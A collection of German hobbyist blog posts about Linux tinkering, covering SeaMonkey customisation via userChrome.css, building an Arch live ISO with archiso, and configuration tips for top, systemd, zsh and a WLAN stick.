Da mir aktuell das Youtube-Problem unter QupZilla zu sehr auf den Zeiger geht (sobald man an eine noch nicht geladene Stelle springt, stürzt der Browser ab. Problem ist hier die aktuelle stabile Version von qt-webkit), habe ich mal anhand von Seamonkey getestet, was ich alles machen muss, bis mir der Browser halbwegs zusagt.

Folgendes ist hochgradig subjektiv! Und ziemlich wahrscheinlich hätte ich einige Sachen besser lösen können.

Ich brauche Mausgesten. Das ist für mich wichtiger als zum Beispiel ein Werbefilter. Seamonkey bietet das leider von Haus aus nicht an. Also habe ich mich nach der Installation des Browsers erst einmal auf die Suche nach einem entsprechenden Plugin gemacht (ich mag keine Plugins...). Von einem Bekannten der leidenschaftlicher Firefox-Nutzer ist, wurde mir FireGestures empfohlen. Leider hat der Entwickler das Plugin nur für den Firefox aber nicht für Seamonkey ausgelegt, so dass eine einfache Installation nicht möglich war. Nach einigem Suchen bin ich dann bei Mouse Gestures Suite gelandet. Der Entwickler hält sein Plugin kompatibel zu Seamonkey und Firefox. Das Thema wäre also schon mal erledigt. Aber das nächste Problem lies nicht lange auf sich warten...

Auch wenn ich nun ein Plugin für Mausgesten gefunden habe, habe ich mir dennoch ein paar andere Alternativen angesehen. Auf eine wurde mittels eines Textlinks verwiesen. Anklicken war also nicht möglich. Na kein Problem. Link markiert, rechte Maustaste und dann im Kontextmenü "Gehe zur Web-Adresse" (oder wie sich der Punkt bei Seamonkey auch immer nennt) aufrufen. Tja solch einen Punkt gibt es nicht. Also nächstes Plugin. Die Wahl fiel auf Selection Links auch wenn das Plugin schon ziemlich lange nicht mehr aktualisiert wurde. Leider ist auch dieses Plugin nicht für Seamonkey ausgelegt. Von Dexter, einem Boardie vom ngb.to habe ich hier allerdings eine Lösung erhalten. Auf dieser Seite kann man Plugins so abändern lassen, dass Sie in der Regel auch mit Semonkey funktionieren. Was in dem Fall auch der Fall war.

Was brauche ich jetzt noch an zusätzlichen Funktionen, die mir der Browser nicht bietet? Adblock und der Element Hiding Helper wären nicht schlecht. Überraschung! Auch hier gibt es die Plugins nur für Firefox. Also wieder bereits genannte Seite aufgemacht und die Plugins für den Seamonkey lauffähig gemacht.

Als nächstes ist die grafische Oberfläche des Browsers an der Reihe. Hier passen mir so einige Dinge auch nicht. Von Haus aus sieht Seamonkey wie auf folgendem Bild aus.

SeaMonkey

Was mich hier stört sind links oben diese schraffierten Bereiche am Anfang der Menü- URL- und Lesezeichenzeile. Mit diesen kann man die jeweilige Zeile minimieren. Ich möchte so etwas entweder komplett anzeigen lassen oder eben komplett ausblenden. Manche Elemente in den Leisten lassen sich per wie zum Beispiel bei Opera per Drag and Drop entfernen. Diese nicht. Hätte mich auch gewundert... Also tricksen wir mal etwas mit CSS. Also habe ich mal eben im Profilverzeichnis von Seamonkey das Verzeichnis chrome erstellt und in diesem die Datei userChrome.css. Um die schraffierten Flächen auszublenden sind hier folgende Einträge nötig.

.toolbar-grippy { display: none !important; }
.toolbar-primary-grippy { display: none !important; }

Ok, was kommt als nächstes? Dass die Tabbar ganz am Ende angebracht ist, gefällt mir kein Stück. Ich bin es einfach zu sehr gewohnt, dass die Tabs über der Adresszeile angezeigt werden. Alle Lösungen die ich hierzu im Internet gefunden habe, bezogen sich auf ältere Versionen und funktionieren mit der aktuellen scheinbar nicht mehr. Überraschung! Ich habe daher als Kompromiss die Leiste mit den Lesezeichen über die Adresszeile verlegt, so dass die Tab-Zeile sowie Adresszeile zumindest nahe beieinander sind.

In der Zeile für die Tabs gibt es schon das nächste "Problem". Ganz links gibt es eine Schaltfläche mit der man einen neuen Tab öffnen kann. Man muss also nach ganz links, klickt und bekommt dann am rechten Ende der Zeile einen Tab erstellt. Warum zur Hölle wird diese Schaltfläche nicht einfach nach dem letzten offenen Tab angezeigt? Trägt man ".tabs-stack vbox hbox stack { -moz-box-ordinal-group:10!important; }" in die userChrome.css ein, bekommt man die Schaltfläche zwar nach rechts, aber eben ganz nach rechts neben dem Pfeil und dem X. Gleicher Blödsinn nur auf der anderen Seite. Nach langem Suchen bin ich dann auf das Plugin seatabxplus gestoßen. Mit diesem wird zum einen bei jedem Tag die Schaltfläche zum Schließen des Tabs angezeigt (warum es die nicht von Haus aus gibt, will ich lieber gar nicht wissen) und zum anderen wird im jeweils aktiven Tab ein Schaltfläche erzeugt, mit der man einen neuen Tab aufrufen kann. Immer noch nicht ideal aber besser als nichts. Nun habe ich allerdings ein paar Schaltflächen zuviel. Zum einen die für den neuen Tab ganz links und die für das Schließen ganz rechts. Da ich den Pfeil mit dem man sich die Liste der offenen Tabs anzeigen kann, auch nicht brauche, habe ich folgendes in die userChrome.css eingetragen.

.tabs-stack vbox hbox stack { display: none; !important; }

Und weg sind alle drei überflüssige Schaltflächen.

Da ich nur die Browser-Komponente von Seamonkey nutzen möchte, benötige ich die Schaltflächen ganz links unten ebenfalls nicht, mit denen man z. B. den Composer oder das E-Mail-Programm aufrufen kann. Hier wurde ich überrascht. Auch diese lassen sich nicht mal eben per Drag and Drop entfernen. Also habe ich die userChrome.css um folgende Einträge erweitert und die Schaltflächen auszublenden.

#mini-nav {display:none;}
#mini-comp {display:none;}
#mini-mail {display:none;}
#mini-addr {display:none;}
#mini-irc {display:none;}

So langsam wird es doch... Nur wie stelle ich geschlossene Tabs her? Und damit meine ich jetzt nicht alle einer Session auf einen Schlag sondern je nach Bedarf. Hier gibt es im Menü "Gehe" einen entsprechenden Punkt. Aber scheinbar auch nur dort. Wieso nicht auch als Schaltfläche z. B. neben der Adresszeile? Jedes mal über das Menü zu gehen ist doch nervig. Da ich schon länger kein Plugin installiert habe, ist es wohl mal wieder soweit... Die Wahl fiel auf Undo Closed Tabs Button. Auch das ist offiziell nur für den Firefox. Also übergebe ich es weiter oben genannter Seite und lasse es kompatibel machen. Das ist scheinbar so einfach, dass es die Plugin-Entwickler doch eigentlich auch gleich machen könnten. Wegen mir dann auch ohne Garantie bezüglich Seamonkey.

Abschließend habe ich noch ein paar Elemente der grafischen Oberfläche per Drag and Drop verschoben (Vor, Zurück, Neu und Halt nach rechts usw.), was ich in dem Fall auch machen durfte.

Davon abgesehen, dass die Zeile für die Tabs nicht über der Adresszeile ist und die Schaltfläche für einen neuen Tab noch immer nicht rechts neben dem letzten Tab, ist Seamonkey für mich jetzt nutzbar und sieht nun bei mir so aus (als Theme habe das bereits im Lieferumfang enthaltene "modern" gewählt). Das verpixelte ist die Leiste mit den Lesezeichen.

Seamonkey3

Der durchschnittliche Nutzer dürfte, vor allem bei den Änderungen in der userChrome.css, aber wohl scheitern. Vor allem bei .toolbar-grippy und .toolbar-primary-grippy. Die Bezeichnungen habe ich nämlich mit nur dem DOM und dem Element Inspector (letzten musste ich ebenfalls noch als Plugin installieren) herausgefunden.

Aber dafür kann ich jetzt in einem Youtube-Video an eine noch nicht geladene Stelle springen. Da hat sich er ganze Aufwand doch schon fast gelohnt. :D


Merkitys - Live-Distribution

Urlaubszeit ist Bastelzeit. Und da ich gerade Urlaub habe bastle ich mir gerade meine eigene Live-Distribution zusammen. Als Basis nehme ich Arch Linux. Hier mal eine Zusammenfassung, was ich bisher gemacht habe.

Der komplette Vorgang erfolgt, wie im Arch-Wiki angegeben, komplett mit Root-Rechten.

Um sich eine eigene Live-Distribution zu erstellen benötigt man das Paket archiso. Dieses habe ich mir mittels pacman -S archiso kurzerhand installiert. Als nächstes habe ich mir ein Arbeitsverzeichnis erstellt (mkdir /home/benutzer/archlive). Hierbei ist zu beachten, dass der ganze Spass einiges an Speicher benötigt. Daher habe ich das Verzeichnis auch kurzerhand im Homeverzeichnis meines normalen Benutzerkontos erstellt. Beim ersten Versuch hatte ich das Verzeichnis im Verzeichnis von root erstellt und mir beim Anlegen des Isos die komplette Partition geflutet was das Betriebssystem gar nicht lustig fand...

Nun habe ich mittels cp -r /usr/share/archiso/configs/PROFILE/ /home/benutzer/archlive alle Dateien und Verzeichnisse in das eben angelegte Arbeitsverzeichnis kopiert. Jetzt kann der Spass beginnen.

Im Unterverzeichnis releng im Arbeitsverzeichnis findet man eine Datei namens build.sh. Mit dieser wird die Iso-Datei erstellt. Für meine Bedürfnisse waren allerdings Änderungen nötig. Folgende Dinge habe ich daher kurzerhand geändert.

- Bei iso_name= habe ich archlinux gegen Merkitys ausgetauscht. Somit wird schlussendlich die Datei Merkitys-$Datum.iso erzeugt. Anstelle von $Datum wird das jeweils aktuelle Datum angezeigt an dem die Datei erstellt wurde. Also z. B. Merkitys-2014-12-03.iso
- Ein ganzes Stück weiter unten gibt es die Zeile "mkarchiso ${verbose} -w "${work_dir}" -D "${install_dir}" -L "${iso_label}" -o "${out_dir}" iso "${iso_name}-${iso_version}-dual.iso"". Hier habe ich das -dual entfernt, da ich eine reine 64Bit-Version haben möchte.
- Fast ganz am Ende der Datei finden sich drei Zeilen mit folgendem Inhalt: "for arch in i686 x86_64; do". Damit auch wirklich nur die 64-Bit-Version erstellt wird habe ich kurzerhand einfach das i686 entfernt und die Datei abgespeichert.

Im gleichen Verzeichnis findet man die Dateien packages.x86_64, packages.i686 und packages.both. In der ersten Datei werden die Pakete eingetragen die für 64 Bit gelten. In der zweiten die für 32 Bit und in der letzten für beide Architekturen. In der für 64 Bit sollten einige wenige Pakete genannt sein. Die für 32 Bit sollte leer sein und die für beide sollte den meisten Inhalt aufweisen. Da ich nur 64 Bit will habe ich daher einfach den Inhalt der Datei packages.both ausgeschnitten und unter den Inhalt der Datei packages.x86_64 eingefügt, so dass nun auch packages.both komplett leer ist. Die nun in der Datei packages.x86_64 genannten Pakete bzw. Paketgruppen sind quasi nur die Minimalinstallation. Hier kann man sich nach Lust und Laune austoben. Pro Zeile darf aber nur ein Paket bzw. eine Paketgruppe genannt werden. Fürs erste habe ich folgende Pakete/Gruppen hinzugefügt: lxde, meld, nano, xf86-video-ati, xf86-video-intel, xf86-video-nouveau, xf86-video-vesa, xorg-apps, xorg-server und xorg-server-utils. Auf eventuelle nötige Abhängigkeiten muss man hierbei nicht achten. Diese werden bei Bedarf automatisch installiert.

Da ich ohne eingreifen zu müssen automatisch lxdm und damit auch lxde ausführen möchte habe ich anschließend im Verzeichnis ~/archlive/releng/airootfs/etc/systemd/system folgenden Befehl ausgeführt: ln -s /usr/lib/systemd/system/lxdm.service display-manager.service. Das sollte eigentlich dem System mitteilen, dass lxdm automatisch gestartet wird. Erstellt man an dieser Stelle jetzt die Iso-Datei und bootet davon, wir man merken, dass es aber nicht klappt. Schuld ist hier die Datei customize_airootfs.sh welche man unter releng/airootfs/root findet. In dieser findet man die Zeile systemctl set-default multi-user.target. Und genau die verhindert dass lxdm automatisch gestartet wird. Quasi falscher Runlevel. Von daher habe ich das multi-user.target gegen graphical.target ausgetauscht. Da ich die Datei schon offen habe habe ich die Zeile "sed -i 's/#\(us_US\.UTF-8\)/\1/' /etc/locale.gen" bei der Gelegenheit gleich auf "sed -i 's/#\(de_DE\.UTF-8\)/\1/' /etc/locale.gen" geändert.

Um zu verhindern, dass im Bootloader auch die Einträge für die 32-Bit-Version auftauchen habe ich weiterhin unter releng/syslinux alle Dateien mit 32 im Dateinamen (z. B. archiso_sys32.cfg) gelöscht. Abschließend habe ich nun in der Konsole das bereits erwähnte Script build.sh mittels ./build.sh -v ausgeführt. Der Parameter -v sorgt dafür dass der Vorgang etwas gesprächiger ist und man eventuelle Fehlerquellen bemerkt. Wenn alles geklappt hat, sollte man nun unter releng/out/ die Iso-Datei finden. Nach ersten Tests unter VirtualBox dürfte eigentlich alles geklappt haben. Lxdm sollte automatisch starten und man sollte sich problemlos an Lxde anmelden können. Für den bisher vorhandenen Nutzer ist aktuell übrigens kein Passwort gesetzt. Die wenigen vorhandenen Programme sollten eigentlich auch alle starten. Der Rohbau steht sozusagen.

Als nächstes werde ich wohl die Paketliste sowie das Startmenü von Lxde erweitern. Anregungen nehme ich gerne an.

Wer sich diese noch sehr eingeschränkte Live-Distribution einmal ansehen will, kann Sie unter https://spideroak.com/browse/share/datengrab/Merkitys herunterladen. Die Prüfsummen sind wie folgt.

MD5: e08e6116dff6173c906a2b91714a4992
SHA256: 4dade41774bb1faaac12decac3796b2fd3299a5fb22314e5305846acd548db18

Vermutlich werden jetzt einige sich fragen wieso ich nicht einfach eine bereits fertige Live-Distribution wie die SystemRescueCD nehme. Im Grunde genommen will ich zwei Dinge damit erreichen. Zum einen will ich archiso bzw. das Remastern einer bereits vorhandenen Arch-Live-Distribution besser verstehen. Und zum anderen will ich testen inwiefern bei einer solchen Iso-Datei Delta-Updates (mit xdelta3 erstellt) Sinn machen.


Top sieht rot

Den Befehl top mit dem man sich die laufenden Prozesse anzeigen lassen kann, kennt vermutlich jeder Linux-Nutzer. Das die Ausgabe von top nun allerdings in rot/orange erfolgt ist neu. Und meiner Meinung nach schlecht zu ertragen. Wie gut, dass ich eigentlich immer nur htop nutze.

top1

Um wie gewohnt die alte Ausgabe zu erzeugen muss man wie folgt vorgehen. Als erstes startet man top. Nun drückt folgende Tasten z V 1 y m m t t t W Nun sollte top wieder wie gewohnt aussehen.

top2

Bei obiger Tastenkombination wird in ~ die Datei .toprc erzeugt. Sowei ja kein Problem. Ich habe mir die Datei dann allerdings mal in einem Editor angesehen. Und was soll ich sagen? An der Datei ändere ich von Hand bestimmt nichts...

top's Config File (Linux processes with windows)
Id:i, Mode_altscr=0, Mode_irixps=1, Delay_time=1.500, Curwin=0
Def     fieldscur=�&K�����@���56�F�')*+,-./0128<>?ABCGHIJLMNOPQRSTUVWXYZ[\]^_`a$
        winflags=192564, sortindx=18, maxtasks=0, graph_cpus=0, graph_mems=0
        summclr=1, msgsclr=1, headclr=3, taskclr=1
Job     fieldscur=�����(��Ļ�@<�Ż)*+,-./012568>?ABCFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab$
        winflags=163124, sortindx=0, maxtasks=0, graph_cpus=2, graph_mems=0
        summclr=6, msgsclr=6, headclr=7, taskclr=6
Mem     fieldscur=���<�����MBN�D34��&'()*+,-./0125689FGHIJKLOPQRSTUVWXYZ[\]^_`a$
        winflags=163124, sortindx=21, maxtasks=0, graph_cpus=2, graph_mems=0
        summclr=5, msgsclr=5, headclr=4, taskclr=5
Usr     fieldscur=�����������)+,-./1234568;<=>?@ABCFGHIJKLMNOPQRSTUVWXYZ[\]^_`a$
        winflags=163124, sortindx=3, maxtasks=0, graph_cpus=2, graph_mems=0
        summclr=3, msgsclr=3, headclr=2, taskclr=3
Fixed_widest=0, Summ_mscale=2, Task_mscale=1, Zero_suppress=0


Vipe - Die Pipeline editieren

Ab und an kann es vorkommen, dass man die Daten, die man per Pipe an einen anderen Befehl weiterleitet vorher noch editieren möchte. Hierfür kann man beispielsweise vipe nutzen.

Nehmen wir mal folgendes, billiges Beispiel. In einem Verzeichnis befinden sich diverse Bilddateien.

vipe1

Diese Dateien wollen wir nun mittels ls | xargs echo ausgeben lassen (sagte ich bereits, dass das Beispiel billig ist? :D). Dabei kommt dann folgendes heraus.

vipe2

Bei den Dateinamen fällt nun auf, dass eine der Dateien (bild_3.jpg) vom Dateinamen anders aufgebaut ist als die anderen Dateien. An der Stelle kommt nun vipe ins Spiel. Ändert man den Befehl nun in ls | vipe | xargs echo ab, kann man die Informationen, die man durch ls erhält erst noch mit einem Editor verändern  bevor sie an xargs übergeben werden.

vipe3

Bei diesem Beispiel habe ich nun den Unterstrich entfernt um die Ausgabe zu vereinheitlichen.

vipe4

Zu finden ist vipe, zumindest unter Arch Linux, im Paket moreutils. In diesem Paket sind auch noch einige andere, interessante Befehle zu finden. Ansehen lohnt sich also meiner Meinung nach.


Verzeichnisstruktur ohne Dateien kopieren

Folgendes bekam ich die Tage als Aufgabenstellung. Eine Bekannte von mir hat auf einer Festplatte ein Hauptverzeichnis. Darin enthalten sind Unterverzeichnisse. In diesen sind ebenfalls Unterverzeichnisse usw. In manchen Verzeichnissen liegen Dateien in manchen nicht. Gewünscht war nun, die ganze Verzeichnisstruktur exklusive der Dateien in ein neues Hauptverzeichnis auf einer anderen Platte zu packenn. Das ganze möglichst automatisch, da ein erster manueller Versuch wohl frustriert aufgegeben wurde (sehr viele Verzeichniss und viele Dateien).

Gelöst habe ich ganze wie folgt (mit der Konsole war ich bereits auf dem betreffenden Mountpoint der Festplatte mit den Verzeichnissen inkl. der Dateien).

cd Hauptverzeichnis
find . -type d -exec mkdir -p /mountpoint_der_neuen_platte/Hauptverzeichnis{} ';'

Und schon wurde auf der neuen Platte ein Hauptverzeichnis mit den ganzen Unterverzeichnissen exklusive der Dateien erstellt.


Automatisches Aufräumen von temporären Dateien unter systemd steuern

In den letzten Wochen war es mal wieder hip gegen systemd zu sticheln. Einige Personen hatten es zum Beispiel auf den Service systemd-tmpfiles-clean abgesehen. Mit diesem werden temporäre Dateien nach einer bestimmten Zeitspanne automatisch gelöscht. Die Standardeinstellung für /tmp ist 10 Tage, die für /var/tmp 30 Tage.

Es wurde nun argumentiert, dass diese Einstellungen für die meisten Nutzer blödsinnig wären. Wie gut, dass man etwas dagegen machen kann. Fangen wir mal damit an, die Fristen auf die persönlichen Bedürfnisse anzupassen. Die betreffende Konfigurationsdatei findet man unter /usr/lib/tmpfiles.d/ und nennt sich tmp.conf. Diese sieht bei mir wie folgt aus.

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.

# See tmpfiles.d(5) for details

# Clear tmp directories separately, to make them easier to override
d /tmp 1777 root root 10d
d /var/tmp 1777 root root 30d

# Exclude namespace mountpoints created with PrivateTmp=yes
x /tmp/systemd-private-%b-*
X /tmp/systemd-private-%b-*/tmp
x /var/tmp/systemd-private-%b-*
X /var/tmp/systemd-private-%b-*/tmp

Die ersten beiden Zeilen setzen sich wie folgt zusammen. |Typ|Pfad|Rechte|UID|GID|Alter|. Für viele ist vermutlich das Alter interessant ab dem gelöscht wird. Hier kann man sich entsprechend austoben. Mögliche Zeiteinheiten sind s, min, h, d, w, ms, m, us. Diese müssen ohne Lehrzeichen angegeben werden. Also z. B. 10d oder 10d12h.

Will man z. B. ein Unterverzeichnis vom automatischen Bereinigen ausnehmen ist der Typ x, wie man es im zweiten Block sehen kann, die Wahl der Waffe.

Unter http://www.freedesktop.org/software/systemd/man/tmpfiles.d.html (englisch) kann man sich den ganzen Spaß noch genauer und ausführlicher durchlesen.

Was aber, wenn man gar kein automatisches Bereinigen der temporären Dateien wünscht? Am einfachsten ist es wohl den Service einfach zu deaktivieren.

Abschließend bleibt mir eigentlich nur noch eines zu sagen. Dieses Argument gegen systemd ist eigentlich gar kein Argument. Es zeigt eigentlich nur, dass sich viele systemd-Gegner nicht wirklich mit systemd-Projekt beschäftigt haben. Und nein, systemd ist trotz allem nicht der heilige Gral. Ich musste mich auch schon einige Zeit mit der Meldung "a stop stop ist running for User Manager for UID 1026" und dem damit verbundenen Countdown von 90 Sekunden beim Herunterfahren meines Hauptrechners herumschlagen.


Zeit mittels timesyncd synchronisieren

Vor ein paar Minuten ist mit aufgefallen, dass die Uhr unter lxde um ein paar Minuten falsch läuft. Wie es sich herausgestellt hat, hatte ich schlicht und ergreifend vergessen NTPD zu installieren. Bei der Gelegenheit habe ich jetzt allerdings timesyncd getestet. Dies ist ein Service aus dem systemd-Projekt (nicht dem init-Dienst) welcher für meine Anforderungen das gleiche wie NTP macht. Es gleicht die Uhr meines Rechners mit einem Zeitserver im Internet ab.

Als erstes habe ich mir die Konfigurationsdatei /etc/systemd/timesyncd.conf vorgenommen. Diese ist im Auslieferungszustand sehr übersichtlich.

#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.
#
# See timesyncd.conf(5) for details

[Time]
#Servers=time1.google.com time2.google.com time3.google.com time4.google.com

Eigentlich muss man in der letzten Zeile nur das # entfernen und die Datei speichern.

Als nächstes habe ich dann mittels "systemctl start timesyncd" den Service gestartet. Da es keinerlei Beschwerden gab, folgte ein "systemctl enable timesyncd" um den Service automatisch zu starten. Abschließend habe ich den Rechner neu gestartet. Und die Uhr lief trotzdem um ein paar Minuten falsch... Also mal Tante Google fragen. Nach wenigen Sekunden hatte ich die Antwort. Damit timesyncd funktioniert muss auch systemd-networkd laufen. Da ich aber netctl für meine Netzwerkverbindungen nutze, ist mir das aber nicht so recht. Aber vielleicht reicht es ja, wenn systemd-networkd nur läuft aber nicht konfiguriert ist... Probieren wir es aus und aktivieren wir den Dienst mittels "systemctl enable systemd-networkd" und starten die Büchse neu. Und schwupps funktioniert timesyncd, obwohl ich netctl nutze. Vermutlich werde ich aber trotzdem wieder auf ntpd umschwenken, da ich damit systemd-networkd nicht laufen lassen muss.


Bootzeit unter systemd analysieren

Wenn man herausfinden will, welcher Service beim Booten mit systemd den Bootprozess verlangsamt, kann man dies mittels folgendem Befehl recht gut darstellen.

multi-user.target @28.246s
└─clamav-freshclam.service @27.657s +247ms
  └─clamav-daemon.service @3.042s +24.604s
    └─basic.target @3.026s
      └─sockets.target @3.023s
        └─dbus.socket @3.021s
          └─sysinit.target @3.017s
            └─ferm.service @2.756s +259ms
              └─network.target @2.752s
                └─networking.service @427ms +2.323s
                  └─local-fs.target @410ms
                    └─run-lock.mount @396ms +11ms
                      └─local-fs-pre.target @384ms
                        └─systemd-udevd.service @303ms +20ms
                          └─systemd-tmpfiles-setup-dev.service @208ms +80ms
                            └─systemd-journald.socket @114ms
                              └─-.mount @100ms

Die Angabe nach dem @ zeigt an, wie lange der Service aktiv ist. Die Zahl hinter dem + zeigt an, wie lange der Service zum Starten gebraucht hat. So kann man recht gut herausfinden, welcher Probleme macht.


Cool-old-term - Terminal Emulator der alten Schule

Kennt Ihr noch die Monitore mit der bernsteinfarbenen Schrift? Vermisst ihr sie? Wenn ja, ist das folgende eventuell etwas für euch. Ein Terminal Emulator der der dieses "Old-School-Feeling" wieder bringt. Selbst an die auftretenden Störungen wurde gedacht. Aber seht selbst.

Den Blog-Eintrag des Entwicklers mit weiterführenden Links findet man unter http://swordfishslabs.wordpress.com/2014/07/29/brace-yourself-cool-old-term-is-coming/.

Persönlich muss ich sagen, sinnlos wie sau. Installieren werde ich mir den Terminal Emulator aber dennoch einmal. :D


Subreddit /r/gerlinux

Ich lese regelmäßig den Subreddit /r/linux mit, da dort durchaus einige interessante Dinge zu finden sind. Allerdings auch viel Mist, wie Bilder eines Eiswagens auf dem Tux oder ein anderer Pinguin zu sehen ist. Bezüglich solcher Beiträge gibt es bei anderen Lesen inzwischen auch einige kritische Beiträge. Allerdings wird diese Kritik oft nicht wirklich zivilisiert vorgebracht.

Da ich zu /r/linux keine Alternative gefunden habe, die dann vielleicht auch noch deutschsprachig ist, habe ich kurzerhand einfach mal /r/gerlinux erstellt. Dies soll einem deutschsprachigen Subreddit ähnlich /r/linux entsprechen, nur ohne diese 0815 Beiträge mit einem Tux-Eiswagen als Inhalt. Und ohne die Leute, die anstelle zu downvoten Flame-Beiträge erstellen, was im Grund noch nerviger ist als ein Tux-Eiswagen.


Fenstertitel von Terminator in Verbindung mit der ZSH

Als Terminal-Emulator setze ich, wie in einem anderen Artikel bereits geschrieben, Terminator ein. In Verbindung mit der ZSH gibt es hier allerding etwas, dass mich stört. Und zwar wird als Fenstertitel immer /bin/zsh angezeigt.

-bin-zsh_001

Um das zu ändern, muss man die Datei .zshrc anpassen, welche man im Home-Verzeichnis findet. In dieser fügt man folgendes ein.

case $TERM in xterm*) precmd () {print -Pn "\e]0;%~\a"} ;; esac

Speichert man die Date nun und öffnet eine neue Instanz von Terminator, erhält man folgenden Titel angezeigt.

titel_zsh_2

Was als Titel angezeigt wird, definiert man mittels print -Pn "\e]0;%~\a". In diesem Beispiel wird einfach das Verzeichnis angezeigt, in dem man sich gerade befindet. Das Home-Verzeichnis wird hierbei mit dem üblichen ~ abgekürzt. Nimmt man stattdessen print -Pn "\e]0;%n@%m: %~\a" erhält man den Titel Benutzername@Hostname: Aktuelles Verzeichnis. Die ganzen Prompt Escapes wie %~ oder %n usw. kann man hier nachlesen. Somit lässt sich die Anzeige an die eigenen Wünsche anzeigen.


Mein Netbook ist endlich broadcom-frei

Ich nenne ein X130e von Lenovo mein Eigen. An sich ein wirklich gutes Gerät in dieser Klasse. Allerdings ist als Wlan-Karte ein Exemplar von Broadcom verbaut. Letztes Jahr hatte ich damit schon mal üble Probleme. Seit einiger Zeit fällt die Datenrate bei jedem größeren Datenverkehr bis auf knappe 100 K/s. Normalerweise würde man an dieser Stelle einfach eine andere Karte einbauen. Vorzugsweise von Intel. Dank der Whitelist im Bios des Geräts kann es sich allerdings an die Backe schmieren. Selbst mit einem modifizierten Bios bin ich hier nicht weitergekommen.

Vor ein paar Tagen hatte ich jetzt endgültig die Schnauze voll und ich habe mir einen WLAN-USB-Stick gekauft. Da ich mich derzeit oft auf Raspberry-Pi-Seiten herumtreibe ist mir der Stick EW-781Un (Version 1.0A) von Edimax bereits das eine oder andere mal aufgefallen. Hierbei handelt es sich um einen Nano-USB-Stick und stört somit am Netbook nicht wirklich. Er bietet zudem eine maximale Rate von 150 Mbps und kommt mit WPA2 zurecht. Nachdem ich die WLAN-Karte von Broadcom deaktiviert hatte, lief der Stick auf "out of the box" unter Arch Linux. Lediglich die Interface-Bezeichnung im Profil von netctl musste ich noch anpassen. Größere Dateitransfere laufen damit endlich so wie sie sollen. Nämlich schnell und stabil.

Was bleibt mir also abschließend zu sagen? Wer einen WLAN-USB-Stick für Linux sucht, ist mit diesem Teil gut beraten. Positiv hervorheben möchte ich auch, dass auf der Verpackung neben Windows auch Mac und Linux als unterstütztes Betriebssystem genannt wird. Was den Preis betrifft, ist man mit ungefähr 7 Euro dabei.


run-help unter der ZSH

Heute habe ich mal wieder eine nette Funktion der ZSH entdeckt. Nehmen wir mal wir möchten mit tar etwas packen bzw. entpacken. Leider kann ich mir die Parameter hierzu absolut nicht merken (deswegen habe ich normalerweisae Aliase angelegt). Bin ich nun an einem fremden Rechner, gebe ich in der Regel erst einmal den gewohnten Alias ein. Dann merke ich, dass dieser nicht vorhanden ist. Als nächstes gebe ich dann tar ein um dann festzustellen, dass ich die nötigen Parameter nicht im Kopf habe. 

Normalerweise lösche ich dann den Befehl und rufe die Manpage von selbigen auf. Ist auf dem Rechner zufällig die ZSH installiert, kann das etwas beschleunigen indem man den Befehl eingibt und danach Esc+h drückt. Hiermit wird dann die Manpage des betreffenden Befehls aufgerufen. Hat man dann alles was man braucht, drückt man einfach q und landet wieder in der ZSH. Da der eingegebene Befehl hierbei nicht gelöscht wird, kann man diesen nun um die benötigten Parameter usw. erweitern.

Das mag jetzt keine weltbewegende Funktion sein und vielleicht gibt es unter einer anderen Shell etwas Vergleichbares. Aber so oder so ist das Ganze doch irgendwie nützlich.


OpenWrt Barrier Breaker RC1 veröffentlicht

OpenWrt kann auf vielen Routern usw. als alternatives Betriebssystem eingesetzt werden. Vor kurzem wurde nun der erste Release Candidate der kommenden Version Barrier Breaker veröffentlicht. Das Changelog, das die Highlights die seit der aktuellen, stabilen Version hinzugekommen sind kann man hier nachlesen.

Für mich sind besonders folgende Punkte interessant.

- Nativer IP6-Support
- Snapshot-Funktion des Dateisystem mit möglichem Rollback
- Möglichkeit einer Testkonfiguration mit der Möglichkeit diese wieder auf die letzte funktionierende Konfiguration zurück zu stellen.

Ich werde mir am Wochenende mal den RC installieren. Eventuell finde ich ja noch den einen oder anderen Bug der dann bis zur Veröffentlichung der stabilen Version behoben werden kann.


History-Datei der ZSH reparieren

Seit einiger Zeit habe ich das Problem, dass wenn ich Arch Linux herunterfahre, die Meldung "a stop stop ist running for User Manager for UID 1026" erscheint und das System erst einmal 90 Sekunden wartet und dann erst mit dem Herunterfahren weitermacht. Die UID entspricht übrigens meinem normalen Benutzerkonto.

Nach längerem hin und her, da mir das hier beschriebene Debuggin auch nicht weitergeholfen hat, habe ich mal getestet, was passiert wenn ich die Kiste per poweroff -f herunterfahre. Die erste positive Erkenntnis war, dass die Kiste ohne Fehler herunterfährt. Die erste negative Erkenntnis war allerdings, dass es dabei scheinbar die History-Datei von ZSH zerlegt hat. Sobald ich terminator aurufe begrüßt mich die ZSH mit "zsh: corrupt history file /home/benutzer/.zhistory" Tja force hat halt in der Regel immer Nachteile und sollte gut überlegt sein...

Wären in der Datei nicht sehr viele Einträge vorhanden, von denen einige ziemlich komplex sind (zumindest für mich), hätte ich die Datei einfach gelöscht und von Null wieder angefangen. Kommt aus genannten Gründen aber eben nicht in Frage.

Also ist mal wieder Bastelstunde. Die Lösung war aber, vorüber ich heilfroh bin, sehr einfach. Korrekte History-Einträge sind wie folgt aufgebaut.

1383417678:0;nano /etc/fstab

Grob gesagt ein Timestamp gefolgt von einem Befehl. 

Nachdem ich die ganze Datei durchgegangen bin (habe ich schon gesagt, dass die Datei ziemlich groß ist?) bin ich auf einen Eintrag gestoßen, der sich von den restlichen unterscheidet.

^@^@^@^@^@^@^@^@^@^@^@^@^: 1405154859:0;su

Da mit ansonsten nichts aufgefallen ist, habe ich die Originaldatei erst einmal weggesichert und dann einfach mal das ganze Zeug vor dem Doppelpunkt des betreffenden Eintrags entfernt und die Datei abgespeichert. Und schon gibt es keine Fehlermeldung mehr.


Freie Grafiktreiber für den Raspberry Pi

Wie Eric Anholt in seinem Blog verlauten lässt, wechselt er seine bisherige Arbeitsstelle und arbeitet nun für Broadcom. Das ist eigentlich relativ uninteressant, wäre da nicht noch eine weitere Ankündigung seinerseits.

Bei seinem neuen Brötchengeber hat er damit angefangen einen unter der MIT-Lizenz stehenden MESA und DRM-Kernel-Treiber für den BCM2708-Chip zu programmieren, der im Raspberry Pi verbaut ist.

